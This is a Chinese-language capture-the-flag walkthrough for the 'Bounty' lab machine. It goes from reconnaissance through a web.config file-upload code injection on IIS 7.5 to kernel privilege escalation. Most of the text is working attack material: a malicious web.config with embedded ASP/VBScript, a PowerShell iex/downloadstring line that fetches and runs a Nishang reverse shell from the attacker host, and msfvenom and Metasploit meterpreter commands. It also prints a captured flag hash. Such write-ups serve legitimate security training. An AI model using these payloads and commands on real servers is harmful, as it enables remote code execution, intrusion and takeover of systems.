[Meachines] [Easy] bounty web.config 文件上传代码注入+内核MS10-092权限提升

信息收集

IP Address	Opening Ports
10.10.10.93	TCP:80

$ nmap -p- 10.10.10.93 --min-rate 1000 -sC -sV

PORT   STATE SERVICE VERSION                                                                │
80/tcp open  http    Microsoft IIS httpd 7.5                                                │
|_http-server-header: Microsoft-IIS/7.5                                                     │
|_http-title: Bounty                                                                        │
| http-methods:                                                                             │
|_  Potentially risky methods: TRACE                                                        │
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

HTTP

$ feroxbuster -u http://10.10.10.93/ -x asp,aspx,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -t 100 -s 200,301 -n

web.config 代码注入 & PS 反向shell

但是无法通过访问http://10.10.10.93/UploadedFiles/buff.aspx 执行命令…

这里可以先通过burp爆破文件后缀,可以发现config后缀的文件允许上传

<?xml version="1.0" encoding="UTF-8"?>
<configuration><system.webServer><handlers accessPolicy="Read, Script, Write"><add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         </handlers><security><requestFiltering><fileExtensions><remove fileExtension=".config" /></fileExtensions><hiddenSegments><remove segment="web.config" /></hiddenSegments></requestFiltering></security></system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->

上传web.config,访问http://10.10.10.93/uploadedfiles/web.config发现代码执行了。

$ wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1;echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.24 -Port 10032'>>Invoke-PowerShellTcp.ps1

再次上传web.config

<?xml version="1.0" encoding="UTF-8"?>
<configuration><system.webServer><handlers accessPolicy="Read, Script, Write"><add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /></handlers><security><requestFiltering><fileExtensions><remove fileExtension=".config" /></fileExtensions><hiddenSegments><remove segment="web.config" /></hiddenSegments></requestFiltering></security></system.webServer>
</configuration>
<%@ Language=VBScript %>
<%call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.16.24/Invoke-PowerShellTcp.ps1')")
%>

PS C:\users\merlin\desktop> PS C:\users\merlin\desktop> gci -force

User.txt

be952a25cdc0106a03cbc3deb5d7fd19

权限提升

> systeminfo

内核权限提升 - Metasploit

$ msfconsole

msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set LHOST 0.0.0.0

msf6 exploit(multi/handler) > set LPORT 10033

msf6 exploit(multi/handler) > run

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.24 LPORT=10033 -f psh -o recv.ps1

> iex(new-object net.webclient).downloadstring('http://10.10.16.24/recv.ps1')

> recv.ps1

meterpreter > bg

查看可进行权限提升的漏洞

msf6 > use multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 2
msf6 post(multi/recon/local_exploit_suggester) > run